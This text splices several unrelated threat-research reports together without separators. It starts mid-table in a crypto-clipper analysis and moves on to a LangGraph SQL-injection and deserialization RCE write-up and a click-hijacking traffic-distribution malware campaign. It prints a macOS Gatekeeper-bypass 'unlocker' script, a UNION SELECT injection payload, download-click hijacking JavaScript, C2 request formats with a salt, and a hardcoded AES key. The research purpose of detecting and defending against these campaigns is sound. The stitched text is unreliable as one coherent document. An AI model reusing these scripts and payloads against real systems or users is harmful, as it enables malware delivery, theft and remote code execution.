\\b(addr1)[A-Za-z0-9]{26,108}\\b
1
Cardano (Byron)
\\b(DdzFF)[A-Za-z0-9]{26,108}\\b
1
Litecoin (L-prefix)
\\b(L)[A-Za-z0-9]{26,35}\\b
1
Litecoin (M-prefix)
\\b(M)[A-Za-z0-9]{26,35}\\b
1
Litecoin Bech32
\\b(ltc)[a-z0-9]{26,68}\\b
1
Zcash (t-address)
\\b(t1)[A-Za-z0-9]{26,36}\\b
1
Tron (TRX)
\\b(T)[A-Za-z0-9]{32,37}\\b
1
XRP (Ripple)
\\b(r)[A-Za-z0-9]{31,38}\\b
1
The attacker’s wallets appear to be replaced quite frequently. In many cases, it seems that once a malicious transaction is completed, the attacker swaps the used wallet for a new, “clean” one. Older samples of this variant contain fewer attacker-controlled wallets—typically only one per targeted currency—and also target fewer cryptocurrencies overall. The latest version expands this list to include additional cryptocurrencies that were not previously targeted, such as Bitcoin Gold, Stellar (XLM), Cardano legacy/Byron, and Dogecoin. At the same time, the attacker has removed support for one cryptocurrency in the new variant, Binance Chain.
Below is an example of how victims are tricked into sending money to the attacker’s wallet.
Figure 19 — Clipboard Hijacker, replacing with attacker’s wallet.
macOS Version
Through his website, GitHub-controlled repositories, and SourceForge projects, the threat actor is also targeting macOS users. The “solutions” provided for macOS are aimed at the same audience as the Windows versions, with the same ultimate goal of stealing cryptocurrency from victims.
The victim downloads a ZIP file from one of the sources mentioned above and finds, among other items, an instruction file named !!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED.txt.
!!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED INSIDE THE FOLDER !!
1- In Finder, Control-click (or right-click) unlocker (or unlocker.command).
2- Choose Open from the contextual menu.
3- In the dialog that appears, click Open again.
A small Terminal window or dialog will appear. Wait — it will automatically prepare and open HashScanner.
Unlocker Fixes HashScanner when you see an error like
"App is damaged and can't be opened" or "can't be opened because it is from an unidentified developer":
If this does not work, please contact @JoseCmanXD on telegram and include a screenshot of the error.
Thank you!
The instruction file tells the user to run unlocker.command, which automates the process of “fixing” the blocked application. The script searches for .app bundles in the same folder (or uses an app dragged onto it), removes the macOS quarantine attribute using xattr -cr, and then launches the chosen application with open. By wrapping this logic in simple dialogs and messages, the attacker makes it easy for non-technical users to bypass Gatekeeper warnings and run the malicious app.
#!/bin/bash
# unlocker.command - auto unlocker for .app bundles in the same folder
# Double-click this file in Finder (or drag an .app onto it) to remove quarantine and open the app.
# Get the directory where this script lives (works when double-clicked)
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# If user passed one or more args (drag-drop), use those instead of auto-search
if [ $# -gt 0 ]; then
targets=()
for a in "$@"; do
targets+=("$a")
done
else
# Find .app bundles in the same folder (only top-level)
targets=()
while IFS= read -r -d $'\\0' f; do
targets+=("$f")
done < <(find "$DIR" -maxdepth 1 -type d -name "*.app" -print0)
fi
# Helper to show macOS dialog
show_dialog() {
/usr/bin/osascript -e "display dialog $1 buttons {\\"OK\\"} with title \\"Unlocker\\""
}
# No apps found
if [ ${#targets[@]} -eq 0 ]; then
/usr/bin/osascript -e 'tell app "Finder" to display dialog "No .app found in the same folder. Please place your .app (e.g. HashScanner.app) in the folder with this Unlocker and double-click again, or drag the .app onto this Unlocker." buttons {"OK"} with title "Unlocker"'
exit 1
fi
# If exactly one target, use it automatically
if [ ${#targets[@]} -eq 1 ]; then
chosen="${targets[0]}"
else
# Multiple: ask user to choose via AppleScript list
# Build a quoted list of basenames for Applescript
applescript_list=""
for f in "${targets[@]}"; do
name="$(basename "$f")"
# escape backslashes and double quotes
esc_name="${name//\\\\/\\\\\\\\}"
esc_name="${esc_name//\\"/\\\\\\"}"
if [ -z "$applescript_list" ]; then
applescript_list="\\"$esc_name\\""
else
applescript_list="$applescript_list, \\"$esc_name\\""
fi
done
chosen_name=$(/usr/bin/osascript <<AS
set theList to { $applescript_list }
set chosen to choose from list theList with prompt "Choose the app to unlock and open:" default items {item 1 of theList}
if chosen is false then
return "CANCEL"
else
return item 1 of chosen
end if
AS
)
if [ "$chosen_name" = "CANCEL" ]; then
/usr/bin/osascript -e 'display dialog "No app selected. Exiting." buttons {"OK"} with title "Unlocker"'
exit 0
fi
# find the full path that matches the chosen base name
chosen=""
for f in "${targets[@]}"; do
if [ "$(basename "$f")" = "$chosen_name" ]; then
chosen="$f"
break
fi
done
if [ -z "$chosen" ]; then
/usr/bin/osascript -e 'display dialog "Selected app not found. Exiting." buttons {"OK"} with title "Unlocker"'
exit 1
fi
fi
# Final safety check: chosen is a directory and ends with .app
if [ ! -d "$chosen" ]; then
/usr/bin/osascript -e 'display dialog "The selected item is not an application. Exiting." buttons {"OK"} with title "Unlocker"'
exit 1
fi
# Run xattr -cr and open. Both commands are absolute paths to avoid PATH issues.
/usr/bin/printf "Removing quarantine from: %s\\n" "$chosen"
/usr/bin/xattr -cr "$chosen" 2>/dev/null
ret=$?
if [ $ret -ne 0 ]; then
/usr/bin/osascript -e 'display dialog "Failed to remove quarantine (permission or other error). You can try running this script from Terminal for more details." buttons {"OK"} with title "Unlocker"'
# still attempt to open so user can try
fi
/usr/bin/printf "Opening: %s\\n" "$chosen"
/usr/bin/open "$chosen"
# Let user know we're done
/usr/bin/osascript -e 'display dialog "Done — the app was unlocked (if possible) and opened." buttons {"OK"} with title "Unlocker"'
exit 0
Similar to its .NET Windows variant, the main program on macOS is also just a loader that executes another file located in nested folders.
The executed file is a malicious macOS executable written in Rust that acts as a cryptocurrency clipboard hijacker (clipper). Its main loop monitors the macOS pasteboard, detects wallet-like strings using embedded regular expressions, and replaces them with hardcoded attacker-controlled wallet addresses bundled inside the binary.
To maintain persistence, the malware writes a shell script wrapper to ~/launch.sh and installs a RunAtLoad and KeepAlive LaunchAgent plist at ~/Library/LaunchAgents/com.example..plist, causing launchd to silently re-execute the binary on every login and restart it if it dies. A 30-second watchdog loop (mw_watchdog_copy_and_relaunch) continuously re-writes both files and clones the binary via fcopyfile, making the persistence self-healing against manual removal without first killing the process.
The macOS variant appears to be closer in design to the older Windows version, where each regular expression pattern is associated with only a single attacker-controlled wallet address, rather than multiple addresses per currency.
In conclusion, this operation combines simple but effective malware with strong social engineering and aggressive cross‑platform promotion. A WordPress phishing site, manipulated engagement on GitHub and SourceForge, AI‑driven YouTube videos, VirusTotal sentiment abuse, and even posts on news outlets and crypto forums all work together to make the tools appear popular, legitimate, and safe. The updated Ghost Networks model is designed to repeatedly expose the victim to positive signals (stars, comments, votes, “safe” labels) so that, by the time they run the tool, it feels like a normal, benign application rather than a threat.
From a user’s perspective, the ability to manipulate sentiment and reputation on platforms like VirusTotal marks an important evolution in how threat actors shape trust. Even if this campaign is not primarily aimed at large enterprises, it shows that attackers no longer rely only on classic malware distribution techniques to reach victims. Instead, they can manipulate reputation systems, crowd‑sourced feedback, and cross‑platform promotion to lower suspicion and attract more users.
These techniques can also be abused by other types of actors distributing and promoting information stealers or other malware families, which can eventually lead to full ransomware compromises in more mature environments. In other words, the same playbook of fake reputation and broad promotion can be reused to deliver more damaging payloads over time.
AI agents need memory. Frameworks like LangGraph provide it through checkpointers – persistence layers that store execution state. But what happens when that persistence layer isn’t locked down?
Key Points
Check Point Research analyzed LangGraph, an open-source framework for stateful AI agents with over 50 million monthly downloads, and uncovered three vulnerabilities in its persistence layer.
Two of them chain into remote code execution: a SQL injection in the SQLite checkpointer (CVE-2025-67644) and an unsafe msgpack deserialization (CVE-2026-28277).
A third, parallel issue (CVE-2026-27022) introduces the same injection class into the Redis checkpointer.
Who’s at risk: teams self-hosting LangGraph with the SQLite or Redis checkpointer, where the application exposes get_state_history() with a user-controlled filter. LangChain’s managed cloud service, LangSmith Deployment (formerly LangGraph Platform), runs PostgreSQL and is not vulnerable.
LangChain patched all three issues. Users should update to langgraph-checkpoint-sqlite 3.0.1+, langgraph 1.0.10+, and langgraph-checkpoint-redis 1.0.2+.
Background
LangGraph is an open-source framework for building stateful, multi-agent AI systems with built-in persistence. It’s an extension of LangChain, with over 50 million monthly downloads according to PyPI stats.
Checkpointers are LangGraph’s persistence layer that stores execution state at each step. LangGraph supports two checkpointer implementations: SQLite and PostgreSQL.
Vulnerability #1: SQL Injection (CVE-2025-67644)
The SQLite Checkpointer Database Schema: The SQLite checkpointer uses an internal table called checkpoints with the following structure:
CREATE TABLE checkpoints (
thread_id TEXT NOT NULL,
checkpoint_ns TEXT NOT NULL DEFAULT '',
checkpoint_id TEXT NOT NULL,
parent_checkpoint_id TEXT,
type TEXT,
checkpoint BLOB,
metadata BLOB,
PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id)
);
The metadata column stores additional contextual information about each checkpoint in JSON format. For example:
When calling the list() function on sqliteSaver (the checkpointer), the filter parameter is used to query checkpoints based on their metadata:
def list(
self,
config: RunnableConfig | None,
*,
filter: dict[str, Any] | None = None, # Used to filter by metadata
before: RunnableConfig | None = None,
limit: int | None = None,
) -> Iterator[CheckpointTuple]:
The filter parameter is passed to an internal function called _metadata_predicate, which constructs the SQL WHERE clause to query checkpoints by their metadata fields.
# process metadata query
for query_key, query_value in filter.items():
operator, param_value = _where_value(query_value)
predicates.append(
f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
)
param_values.append(param_value)
return (predicates, param_values)
The Injection
The vulnerability exists in how _metadata_predicate handles the query_key from the filter dictionary. Notice this critical line:
f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
An attacker-controlled filter could provide a query_key with a ' character that will escape the JSON path string and inject arbitrary SQL code.
Injection -> Arbitrary Deserialization
To understand how SQL injection leads to arbitrary deserialization, we need to see the complete picture. Here’s the SQL query that gets executed in list():
query = f"""SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata
FROM checkpoints
{where}
ORDER BY checkpoint_id DESC"""
This query retrieves checkpoint data from the database, including the checkpoint’s BLOB column. The results are then processed:
async for (
thread_id,
checkpoint_ns,
checkpoint_id,
parent_checkpoint_id,
type,
checkpoint, # ← This comes directly from the SQL query results
metadata,
) in cur: # ← cur contains the query results
# ...
yield CheckpointTuple(
# ...
self.serde.loads_typed((type, checkpoint)), # ← Deserialization
# ...
)
The checkpoint contains serialized data, and when fetched gets deserialized.
The Attack
Using SQL injection in the WHERE clause, an attacker can inject a UNION SELECT that adds their own row to the query results:
SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata
FROM checkpoints
WHERE ... (injected: ') UNION SELECT 'thread1', 'ns', 'checkpoint1', NULL, 'msgpack', X'', '{}' -- )
ORDER BY checkpoint_id DESC
The injected UNION SELECT returns a fake checkpoint row where the checkpoint column contains attacker-controlled serialized data. When the code loops through the query results, it deserializes this malicious checkpoint’s BLOB, giving the attacker arbitrary deserialization
JSON – The json.loads() with object_hook was discussed in our LangGrinch research, but does not lead to code execution
Msgpack – This is the one we are interested in
What is msgpack?
MessagePack (msgpack) is a binary serialization format designed to be faster and more compact than JSON. LangGraph uses ormsgpack, a Rust-based implementation with Python bindings.
Msgpack Extensions
MessagePack allows developers to define custom extension types to handle additional data types beyond its built-in primitives. LangGraph implemented its own extension handler to support serialization of custom Python objects.
This gives an attacker arbitrary code execution – by calling os.system() with attacker-controlled commands, they can execute any shell command on the server.
The Attack Chain: Combining Both Vulnerabilities
Now let’s walk through how an attacker chains these two vulnerabilities together to achieve remote code execution.
The Entry Point: When a developer exposes get_state_history(), it internally calls the checkpointer’s list() method to retrieve historical checkpoints:
def get_state_history(
self,
config: RunnableConfig,
*,
filter: Optional[Dict[str, Any]] = None,
before: Optional[RunnableConfig] = None,
limit: Optional[int] = None,
) -> Iterator[StateSnapshot]:
# ...
for checkpoint_tuple in self.checkpointer.list(config, filter=filter, before=before, limit=limit):
# Process and return checkpoint data
If the filter parameter comes from user input without sanitization, an attacker controls the dictionary keys passed to the SQL injection vulnerability.
The Attack Flow
1. Craft Malicious Payload: The attacker prepares a msgpack payload containing instructions to execute arbitrary code (e.g., run a shell command).
2. Exploit SQL Injection: The attacker sends a malicious filter parameter that exploits the SQL injection vulnerability. This injection adds a fake checkpoint row to the database query results, where the checkpoint column contains their malicious msgpack payload.
3. Trigger Deserialization: When the application processes the query results, it encounters the injected fake checkpoint and deserializes the malicious msgpack data.
4. Code Execution: The unsafe deserialization executes the attacker’s payload, giving them remote code execution on the server.
Vulnerability #3: SQL Injection in the Redis Checkpointer (CVE-2026-27022)
The same injection class affects langgraph-checkpoint-redis: user-controlled keys in the filter dictionary are interpolated directly into the query instead of bound as parameters. Preconditions match CVE-2025-67644 (the application exposes get_state_history() with a user-controlled filter and uses the Redis checkpointer). Patched in langgraph-checkpoint-redis 1.0.2.
Additional SQL Injection Findings
Beyond the primary SQL injection in the filter parameter, we identified additional defense-in-depth SQL injection issues in both the SQLite and PostgreSQL checkpointers. These involved direct concatenation of integer values (such as LIMIT and ttl parameters) into SQL queries instead of using parameterized bindings.
Since Python doesn’t enforce type hints at runtime, these parameters could still accept malicious string input. We worked with the LangChain team during disclosure to remediate these issues using parameterized queries.
Disclosure Timeline
2025-11-19: CVE-2025-67644 (SQL injection), CVE-2026-28227 (msgpack deserialization) And CVE-2026-27022 (Redis injection) disclosed to LangChain team
2025-12-10: CVE-2025-67644 fixed and publicly released in langgraph-checkpoint-sqlite 3.0.1
2026-02-20: CVE-2026-27022 fixed and publicly released in langgraph-checkpoint-redis 1.0.2
2026-03-05: CVE-2026-28277 fixed and publicly released in langgraph-checkpoint 4.0.1
Note on Vendor Response
The LangChain team responded quickly to fix the critical SQL injection vulnerability, which effectively breaks the attack chain described in this research. They continue to work methodically on additional remediation efforts, including the msgpack deserialization issue.
Additional Research
There was significant community research into LangGraph security during November and December 2025. Other security researchers independently discovered CVE-2025-67644 and CVE-2026-28277. Full credits can be found in LangChain’s security advisories.
Check Point Research investigated a large-scale operation that impersonates open-source and freeware projects to capture search traffic, including lookalikes for researcher and security tooling such as Ghidra, dnSpy, and SpiderFoot. The sites are well-designed and often look like legitimate project portals at a glance, sometimes referencing real upstream resources. The deception is not in the page content alone, it’s in what happens when a user interacts.
Our analysis shows these pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
The observed ecosystem appears to be built primarily for traffic acquisition and monetization, likely leveraging legitimate ad-tech and monetization tooling, while downstream redirect chains repeatedly led selected users to malware delivery infrastructure.
The downstream branches we analyzed led to multiple malware families, including RemusStealer, AnimateClipper, and the SessionGate framework, which we observed delivering PUA (Potentially Unwanted Applications), suggesting this was not an isolated malicious redirect.
Introduction
When we search Google for a popular piece of software, we usually click the first result, sometimes without even looking at the rest, because official project sites tend to rank highest and appear near the top of the results.
After landing on a site with a professional design and links that appear to point to the project’s official GitHub repository, most users intuitively trust it and proceed to download and run the installer without a second thought. Nothing seems suspicious: the first link in Google, a polished “official-looking” website, and references to the real project. What could go wrong?
Check Point Research investigated a large-scale campaign in which malicious and unwanted software is distributed through a gated traffic-routing stack. The operation relies on professionally built open-source and freeware impersonation sites, where click events initiate routing through a Traffic Distribution System (TDS) — a traffic-filtering and redirection layer that can send different users to different destinations based on factors such as geography, device type, browser fingerprint, or campaign rules — and can ultimately lead to payload delivery.
What makes this campaign especially notable is the choice of brands: a high-risk subset of sites impersonates trusted reverse-engineering tools such as Ghidra and dnSpy, used by security researchers and malware analysts.
Figure 1 – Impersonated websites of popular software tools
The broader phenomenon of websites impersonating popular open-source and freeware projects had already been documented by late 2025. In November 2025, Fullstory reported a large cluster of such fraudulent domains and did not identify direct abuse in their examined samples at the time (including checking hosted archives against known-good content), while emphasizing the clear security risk and the potential for downstream phishing or watering-hole style abuse.
Our findings show that this ecosystem has evolved. We observed that by at least December 2025, the sites in this cluster had TDS scripts embedded into their workflow, and from early January 2026 onward, we recorded active malware distribution via the same infrastructure.
The scale is reflected in VirusTotal telemetry: more than 5,000 total submissions across relevant samples, indicating substantial reach in just the subset visible through public sharing. The real exposure is likely significantly higher.
Figure 2 – VirusTotal total submitters exceeding 5,000, indicating the scale of the operation.
Among the payloads distributed through this TDS infrastructure, we identified several malware families:
SessionGate — A previously unknown multi-stage loader with heavy obfuscation and extensive anti-analysis mechanisms, which makes obtaining the final payload extremely difficult. In the chains we observed, it was used to deliver potentially unwanted applications (PUA). We examine SessionGate more deeply later on this article.
RemusStealer — a newly emerged infostealer designed to steal data from more than 20 browsers and targeting hundreds of browser extensions and applications, including cryptocurrency wallets, two-factor authentication tools, and password managers.
AnimateClipper — A cryptocurrency clipper capable of hijacking transactions across more than 20 blockchain ecosystems.
Importantly, we do not assess these impersonation sites as being built exclusively for malware distribution. The more plausible primary objective is traffic acquisition and monetization. However, by embedding a gated TDS layer and funneling search traffic into it, the operators become part of a distribution chain whose downstream consumers can include malware distributors. The same traffic pipeline that drives gray monetization can also selectively route real users to malicious payloads.
Impersonation, click hijacking, and the post-click routing
Our investigation started with several domains impersonating official project pages and download portals for tools widely used by security researchers.
For relevant queries, some of these “project portals” appeared surprisingly high in search results:
Figure 3 – Fake Ghidra project website in Google search results
What these sites have in common is a shared staging component: their pages load CloudFront-hosted Traffic Distribution System scripts from Amazon CloudFront, a legitimate content delivery network (CDN) service widely used to distribute web content through globally distributed infrastructure. These scripts turn the first “Download” click into a post-click routing chain.
The scripts are fetched from URLs with a consistent pattern, for example:
In total, we identified more than 100 currently active websites embedding these scripts, reusing the same campaign-style identifiers and the same CloudFront domains.
Below are some of the entry domains from the cluster, with an emphasis on impersonated brands that are commonly trusted by technical users:
Security/researcher tooling look-alikes
ghidralite[.]com
dnspy[.]org
ilspy[.]org
Developer/utility tooling look-alikes
grpcurl[.]com
mqttexplorer[.]com
mfcmapi[.]com
winsetupfromusb[.]org
crystaldiskmark[.]org
guiformat[.]com
While we have identified multiple targets that seems to primarily target security researchers, we have not found any strong evidence suggesting we could be dealing with potential targeted attacks. As previously mentioned, ultimate goal seems primarily for traffic acquisition and monetization.
Download button click hijacking
The key trick used on these fake websites is that the “Download” button can look legitimate even to a careful user. The page keeps the original href intact, often pointing to a real upstream destination such as a GitHub release, which means browser UI cues like the status bar on hover still show a plausible target.
Figure 4 – Hovering over the download button reveals the legitimate GitHub repository URL.
At the same time, once the user interacts with the page, the previously loaded CloudFront-hosted JavaScript can intercept the first eligible user interaction and hand it off to a Traffic Distribution System (TDS). The script contains multiple browser-side serving methods — alternative strategies for opening or navigating a tab/window to the TDS-controlled destination.
The default serving method is supplied in the configuration, while the browser-side runtime can still adapt locally based on factors such as browser family, mobile vs. desktop environment, frequency-capping state, and adblock-related logic. In practice, these methods differ mainly in how they preserve a browser-accepted, user-initiated opening opportunity and deliver the final TDS URL. The runtime includes several approaches, including calling a cached reference to window.open, using different primary events in different browsers, opening intermediate or temporary blank tabs that are later navigated to the final URL, or using a synthetic click on a dynamically created <a target="_blank"> element whose javascript: URL assigns window.location.href to the TDS URL.
For example, on desktop Firefox the runtime uses a capture-phase click handler; on desktop Chrome, the corresponding primary event is mousedown. The handler records the user’s intended destination if the interaction occurs inside a link, generates a TDS runtime URL, invokes the selected serving method, and then takes over the original interaction by calling preventDefault() to cancel the normal navigation and stopImmediatePropagation() to prevent other handlers from processing the same event.
A simplified version of the common event-wrapper logic is shown below. The exact invoke() implementation depends on the selected serving method.
The routing logic is also gated by browser-side state and frequency caps, including values stored in localStorage. This creates a reproducibility trap: the first eligible click may route through the TDS chain, while refreshes, repeated clicks, or return visits can fall back to the original visible link target. The script also forwards the clicked link destination downstream, allowing the routing layer to know what the user appeared to be trying to open.
In other words, a click on what appears to be a legitimate link or download button can be converted into a navigation to a completely different URL controlled by the TDS.
window.addEventListener(browser.isChrome() ? "mousedown" : "click", function () {
w = window.open("about:blank", /* ... */);
});
document.addEventListener("click", function (e) {
const el = e.target.closest("a, button");
if (!el) return;
e.preventDefault();
e.stopImmediatePropagation();
window.g(/* ... */, selectedPostClickUrl);
}, true);
window.g = function(/* ... */, u) {
w.location.href = u;
};
Real redirect chains: gating and branching outcomes
After the click handoff, the workflow becomes visible as a sequence of redirects. We observed numerous redirect chain variations. In many cases, repeated attempts to enter the TDS chain from the same IP address resulted in downloads of benign software (for example, the Opera browser). Some chains ended with the delivery of unnecessary, yet non-malicious, browser extensions.
At the same time, other redirect paths ultimately led to the download of malware.
Figure 5 – Some of the observed redirect chains across the TDS infrastructure.
In all of our experiments, the browser was first redirected to a post-click redirector:
oundhertobeconsist[.]org/<token>
However, this domain is not hardcoded in the page or the scripts. It is supplied dynamically through the decoded stage configuration delivered from CloudFront, together with other campaign parameters.
A decoded configuration block observed in multiple cases contained:
The redirector then forwarded the browser along one of several possible branches. Some of the observed variants include:
In one family of redirect chains, users were sent directly to an offer wall / content locker (unlockcontent.org), which may result in affiliate-tagged downloads of legitimate software or potentially unwanted applications (PUA).
In another family, users were redirected into a multi-gate chain (trkscope[.]xyz, file-enter-web[.]com) before reaching the final delivery infrastructure.
The multi-gate path introduces a second branching point after the anti-bot gate (file-enter-web[.]com). From there, sessions can be routed either to a download gate with direct archive delivery (media.stellarcloudhub1[.]cfd, arch2.maxdatahost1[.]cyou) or to a different gated path that bridges to external hosting platforms (observed ending at mega.nz).
The specific redirect path appears to be influenced by multiple factors, including the user’s country, browser type, VPN usage, client fingerprint, click context, and the original entry domain.
SessionGate: From “Benign Installer” to a Gated, Multi-Stage Framework
We have uncovered several malware families as the final payload, including RemusStealer and AnimateClipper, however, one that stood out was a previously unknown malware we named SessionGate.
SessionGate case drew our attention not only because of its multi-stage delivery chain and extensive validation logic, but also due to a rather unusual anti-analysis approach. Combined with the TDS-side gating, it makes obtaining the final payload extremely difficult for analysts.
VirusTotal telemetry indicates broad reach for this branch. Individual samples associated with SessionGate family were submitted thousands of times, with some reaching approximately 2,000 to 3,500 submissions. The observed submission and lookup activity was distributed globally, with especially notable visibility in Turkey, Poland, Brazil, Germany, France, Russia, and the United Kingdom.
Figure 6 – VirusTotal telemetry (submissions and lookups) for an SessionGate sample.
We believe the TDS chain includes a backend service that “registers” the victim’s IP address, after which the victim must traverse the entire redirect path end-to-end. The payload delivered at a later stage appears to be unique per client, generated server-side for each session, and intended for one-time execution. The embedded modules within that payload are encrypted, and the decryption key material is produced based on data provided by the C2 server only once for that specific sample. As a result, a complete decryption and analysis is only possible if the researcher’s environment does not raise suspicion at any stage, and the analyst manages to fully intercept and decrypt all relevant traffic.
In addition, each stage employs obfuscation techniques that effectively undermine static analysis tooling (disassemblers and decompilers) and can even hinder AI-based reverse-engineering agents.
The figure below schematically illustrates the delivery sequence, C2 communication, and the module decryption flow.
Figure 7 – PUA branch infection chain
We identified two landing pages that initiate the download of samples belonging to this family:
originaldownloads[.]info
getfluxfile[.]com
The landing pages look as follows:
Figure 8 – Two landing pages observed delivering SessionGate samples.
Each landing page generates a short-lived, unique payload download URL per client session, bound to the client’s browser and IP address. Examples of generated URLs include:
The HTML page contains obfuscated JavaScript that performs a server-side validation step (performed by
https://javascriptapiusa[.]com/lic?) before allowing access to the payload. The payload is then downloaded using the same name but with .exe extension, for example:
Downloader with a built-in decoy: embedded 7-Zip SFX content
The loader contains an embedded 7-Zip archive, and it can pivot to a benign installer experience when its gated delivery path does not proceed.
This decoy design matters operationally: analysts and automated sandboxes often observe a “normal installer” UI, while the malicious delivery chain remains gated.
One of the first red flags is that the downloaded archive is about 20 MB, yet it contains a file of only 15 MB. The remaining ~5 MB consists of heavily obfuscated loader code.
Figure 9 – The contents of the SFX archive.
Because of the obfuscation techniques in use, including injected junk code, opaque predicates, and string encryption, the resulting functions become extremely bloated. This alone significantly complicates analysis, as it can break parts of common tooling, including IDA’s decompiler and even graph mode. Some functions exceed 500 KB in size.
In addition, encrypted string blobs are placed directly inside function bodies after conditional branches (opaque predicates). This causes disassemblers to misinterpret the string data as executable code, which further disrupts analysis and can prevent tools from correctly identifying function boundaries in the first place.
Figure 10 – Bogus math, opaque predicates and encrypted strings in the analyzed samples
However, this obfuscation method is very characteristic and follows the same patterns, allowing for easy identification of other samples of this family.
The sample also runs multiple environment checks that influence whether it proceeds with malicious delivery or falls back to decoy behavior. The loader checks for the presence of certain services, but the service names are not stored plainly. Instead, it compares Adler-32 hashes against constants, effectively hiding the indicator list.
In addition to services, the loader also enumerates running processes (Toolhelp-based scanning). Here too, the indicators are not kept as plaintext: they are compared via hash-based logic (SHA1 table approach), again reducing the value of simple string hunting.
Finally, the loader checks system context such as:
Windows Defender PUA/PUS-related registry settings (e.g., PUAProtection, MpEnablePus)
Windows “Enterprise” edition detection (by inspecting the ProductName string)
Taken together, these checks ensure that malicious activity is only launched on systems where it is most likely to go undetected.
Stage 1: The Loader’s C2 – Multi-Step “Check-in” With Gating
Once executed, the loader attempts to contact its C2 and perform several check-in steps before it tries to retrieve the next-stage payload.
In the campaigns we analyzed, one observed C2 domain was:
appfreshstart[.]com
We also observed related campaigns using domains such as:
appgetonline[.]com
webinnosetup[.]com
appmakingcenter[.]com
The loader’s C2 requests use a distinctive URL structure consisting of multiple path segments and a query suffix, and uses a specific User-Agent string NSIS_InetLoad (Mozilla). The pattern looks like:
The values in the <tokenX> fields are stored enrypted in the sample and are unique per campaign. They are also used to identify specific stages, for example:
check-in;
check-in after privilege elevation;
payload request.
When constructing the URL, the loader incorporates random tick-derived values, a timestamp, and a signature calculated as SHA1({base_path}/{timestamp}/{salt}), where salt is a shared secret known to both the sample and the server.
In the analyzed sample, salt = "118107B05C590076239FF759CD9E5".
Example request:
GET https://appfreshstart.com/06A3AEF73537C68C/00507206521/26203FA83EC99DDE/77035662512?FF584F0057B9F6F81770356625 HTTP/1.1
Host: appfreshstart.com
User-Agent: NSIS_InetLoad (Mozilla)
Accept: /
For check-in requests, the server responds with a hex string. The loader then sums all decimal digits in that string. If the resulting value is even, execution is aborted.
We observed this behavior when attempting to download the payload again from the same IP address, and also when the sample was obtained outside of the intended TDS chain.
Using a similar request structure, but with different tokenA and tokenB values, the loader requests the next-stage payload from the server. At this step, the server can also block delivery: in our experiments, we occasionally received an empty response. In some campaigns, the payload was additionally encrypted.
We observed multiple variants of the loader. In some cases, the downloaded payload was executed directly from memory, while in others it was written to disk. For disk-based execution, the loader creates a temporary directory and file under %TEMP%. The downloaded file is then launched with two command-line arguments, for example:
The second-stage binary is another large Windows GUI executable (usually up to 10MB) that impersonates a legitimate 7-Zip SFX installer. Its string-encryption and code-obfuscation style is highly consistent with other samples in the same delivery framework.
Notably, it contains a PDB path: D:\\code\\cpp-downloader-scb-reg-other\\Plugins\\7ZipDownloader\\Output\\SFXWin.pdb. We used this artifact for pivoting and found 200+ similar samples on VirusTotal, with the earliest ones appearing in late August 2025.
On launch, the sample checks its command line: the first argument must look like a numeric token, and the second must look like a base64 string. The base64 blob is then further decrypted and validated by an embedded module (described later). If the checks fail, the sample falls back to the benign 7-Zip SFX behavior, showing a normal “installer/extractor” flow.
Figure 11 – Very low VT detection rate of the 2nd stage payload samples.
When the gate passes, the binary reads its own on-disk image, extracts two embedded DLL payloads, and decrypts them using AES-CBC. The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.
DLL #1 is decrypted first using a key derived locally:
key1 = SHA256("WDNkCQnmXc" || tail32) where tail32 is a 32-byte slice from the loader’s file image.
After mapping DLL #1, the loader resolves and calls an export named c1, passing the loader’s own SHA-256 hash (uppercase hex string) and an output buffer.
The output of c1, combined with a second hardcoded string constant, is used to derive the key for DLL #2:
The loader then decrypts and maps DLL #2 the same way and calls its exported entry point (observed as mainFunc), passing through the original command-line arguments.
However, we encountered major problems while decrypting DLL #2. The problem is that the output of function c1 is not static, but depends on the data returned by the C&C server.
DLL #1 – “Key Broker” module
After the stage-2 SFX loader decrypts and maps DLL #1 in memory, it resolves and calls an exported function named c1. From the loader’s point of view, DLL #1 acts as a key broker: it performs strict gating based on the process command line, contacts a dedicated “CRC” C2 endpoint, transforms the server response into a short token, and returns it to the loader. The loader then mixes this token with a hardcoded value to derive the AES key material for decrypting DLL #2.
Command-line gating
First, the module performs the same command line check as the parent executable: the first argument must look like a numeric token, and the second must look like a base64 string.
Then it decodes the base64 string from the second command line argument using AES-256-CBC with a fixed hardcoded key BFEA4EE8EF934BE7A2B4C64A0BAD1E92 (32 bytes; not hex-decoded) and a zero IV.
It skips the first 32 bytes and treats the remaining bytes as a UTF-16 string. In the samples we analyzed, this string holds a path-like marker such as:
C:\\Users\\user\\Desktop\\SetupFile_411815.exe
The decrypted value is then validated by checking the filename suffix pattern: the filename must contain an underscore followed by 3-10 lowercase alphanumeric characters, and end with an extension (e.g., _411815.exe). This check is important operationally: it prevents the module from functioning correctly when executed outside of the intended delivery flow. If any of these checks fail, the DLL exits early and returns no usable output, that leads to the loader’s “benign SFX fallback” flow.
In addition to command-line gating, DLL #1 runs lightweight anti-analysis checks. In particular, it checks the local environment against hardcoded blacklists derived from:
SHA-256 of the current username and computer name, and
MD5 hashes of ntdll.dll export names (a common way to detect non-standard runtime environments such as emulation layers or heavily instrumented sandboxes).
When any blacklist condition matches, the module aborts before contacting its key server.
Key request: C2 receives the loader’s hash, returns per-build token material
If the gate passes, DLL #1 contacts a dedicated “CRC” C2 domain (observed variants include):
yourfastcrc[.]com
mobileversioncrc[.]com
webcrcprove[.]com
integritycrc[.]com
The request follows a consistent pattern:
https://<crc-domain>/check_version?version=<hash>
The value passed in version= contains the uppercase SHA-256 hex hash of the stage-2 loader itself and is provided by the stage-2 loader when calling c1.
The C2 response is a short ASCII string, for example:
DLL #1 uses the first 64 characters and performs a deterministic transformation to produce a 32-character base62 token, which it returns to the loader via the output buffer. For the example above, the resulting value is:
